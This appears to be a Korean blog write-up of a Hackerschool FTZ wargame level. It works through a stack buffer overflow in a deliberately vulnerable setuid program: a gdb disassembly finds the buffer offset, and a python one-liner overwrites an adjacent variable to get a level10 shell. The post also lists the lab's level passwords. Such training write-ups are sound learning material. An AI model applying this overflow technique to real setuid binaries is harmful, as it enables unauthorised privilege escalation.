login : level9
pw : apple
[level10@ftz level9]$ cat hint 다음은 /usr/bin/bof의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } 이를 이용하여 level10의 권한을 얻어라.
It can be overflow~
gdb로 까서 보기위해

따로 만들고
[level10@ftz a]$ vi level9.c [level10@ftz a]$ gcc -o level9 level9.c [level10@ftz a]$ ls level9 level9.c
[level10@ftz a]$ gdb -q level9 (gdb) set disas intel (gdb) disas main Dump of assembler code for function main: 0x08048420 <main+0>: push ebp 0x08048421 <main+1>: mov ebp,esp 0x08048423 <main+3>: sub esp,0x28 0x08048426 <main+6>: and esp,0xfffffff0 0x08048429 <main+9>: mov eax,0x0 0x0804842e <main+14>: sub esp,eax 0x08048430 <main+16>: sub esp,0xc 0x08048433 <main+19>: push 0x8048554 0x08048438 <main+24>: call 0x8048350 <printf> 0x0804843d <main+29>: add esp,0x10 0x08048440 <main+32>: sub esp,0x4 0x08048443 <main+35>: push ds:0x8049698 0x08048449 <main+41>: push 0x28 0x0804844b <main+43>: lea eax,[ebp-40] 0x0804844e <main+46>: push eax 0x0804844f <main+47>: call 0x8048320 <fgets> 0x08048454 <main+52>: add esp,0x10 0x08048457 <main+55>: sub esp,0x4 0x0804845a <main+58>: push 0x2 0x0804845c <main+60>: push 0x804856a 0x08048461 <main+65>: lea eax,[ebp-24] 0x08048464 <main+68>: push eax
main+43 ebp-40이 buf에 위치이고 ebp-24가 buf2에 위치이다.
buf와 buf2의 거리가 16이라는 것을 알수있다
16만큼 아무값 넣고 go 넣으면 buf가 16만큼 들어가고 go는 buf2에 들어간다
(python -c 'print "A"*16 + "go"';cat) | /usr/bin/bof ㄱㄱㄱ

pw : interesting to hack!
'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글
FTZ level11 (0) | 2021.03.13 |
---|---|
FTZ level10 (0) | 2021.03.12 |
FTZ level8 (0) | 2021.03.12 |
FTZ level7 (0) | 2021.03.11 |
FTZ level6 (0) | 2021.03.11 |